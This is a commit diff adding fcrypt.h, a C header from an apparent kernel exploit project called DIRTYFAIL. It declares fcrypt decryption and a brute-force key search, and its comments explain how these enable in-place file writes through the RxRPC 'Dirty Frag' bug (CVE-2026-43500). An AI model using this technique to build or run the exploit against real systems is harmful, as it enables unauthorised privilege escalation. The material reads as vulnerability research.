Initial skeleton: README, CVE inventory, roadmap, ARCH, ethics + copy_fail_family module absorbed from DIRTYFAIL
This commit is contained in:
@@ -0,0 +1,68 @@
|
||||
/*
|
||||
* DIRTYFAIL — fcrypt.h
|
||||
*
|
||||
* fcrypt is the Andrew File System (AFS) rxkad cipher: 56-bit key,
|
||||
* 8-byte block, 16-round Feistel structure with four 256-entry S-boxes.
|
||||
* It is *deterministic*, with a public algorithm specification — its
|
||||
* key space (2^56) is small enough that targeted decryption can be
|
||||
* brute-forced in user space at ~15-20 M ops / second on a single core.
|
||||
*
|
||||
* That property is what makes the RxRPC variant of Dirty Frag
|
||||
* (CVE-2026-43500) practical: the in-place 8-byte STORE is
|
||||
* fcrypt_decrypt(C, K), where C is the ciphertext at the target file
|
||||
* offset and K is the session key the attacker registers via
|
||||
* add_key("rxrpc", ...). For each STORE position we want, we run the
|
||||
* fcrypt brute force locally until we find a K such that the resulting
|
||||
* 8-byte plaintext matches our predicate (e.g. starts with "::").
|
||||
*
|
||||
* License: see NOTICE.md. The S-box constants are the rxkad protocol
|
||||
* tables (also present in the Linux kernel's crypto/fcrypt.c, GPL-2.0,
|
||||
* David Howells / KTH).
|
||||
*/
|
||||
|
||||
#ifndef DIRTYFAIL_FCRYPT_H
|
||||
#define DIRTYFAIL_FCRYPT_H
|
||||
|
||||
#include "common.h"
|
||||
|
||||
typedef struct {
|
||||
uint32_t round_key[16]; /* big-endian, derived in fcrypt_setkey */
|
||||
} fcrypt_ctx;
|
||||
|
||||
/* Initialize the global S-box tables. Call once before any other fcrypt_*. */
|
||||
void fcrypt_init(void);
|
||||
|
||||
/* Run the kernel test vectors and return true if they match. Use this
|
||||
* during exploit setup to fail fast on a broken build. */
|
||||
bool fcrypt_selftest(void);
|
||||
|
||||
/* Derive the 16 round keys from an 8-byte key (only the high 7 bits of
|
||||
* each byte are used; bit 0 of each byte is parity in the rxkad token
|
||||
* format). */
|
||||
void fcrypt_setkey(fcrypt_ctx *ctx, const uint8_t key[8]);
|
||||
|
||||
/* Decrypt a single 8-byte block. */
|
||||
void fcrypt_decrypt(const fcrypt_ctx *ctx,
|
||||
uint8_t out[8], const uint8_t in[8]);
|
||||
|
||||
/* Brute-force search predicate: given an 8-byte candidate plaintext,
|
||||
* return true if it satisfies the constraints we want at this STORE
|
||||
* position. */
|
||||
typedef bool (*fcrypt_pred_fn)(const uint8_t plaintext[8]);
|
||||
|
||||
/* Search for an 8-byte key K such that fcrypt_decrypt(C, K) satisfies
|
||||
* `predicate`. Returns true and fills K and the resulting plaintext on
|
||||
* hit; returns false after `max_iters` non-hits.
|
||||
*
|
||||
* `seed` selects the search starting point (deterministic via splitmix64);
|
||||
* pass time(NULL) for randomness across runs, or a fixed value for
|
||||
* reproducibility. `label` is logged on hit/timeout for clarity. */
|
||||
bool fcrypt_brute_force(const uint8_t ciphertext[8],
|
||||
fcrypt_pred_fn predicate,
|
||||
uint64_t max_iters,
|
||||
uint64_t seed,
|
||||
const char *label,
|
||||
uint8_t key_out[8],
|
||||
uint8_t plaintext_out[8]);
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user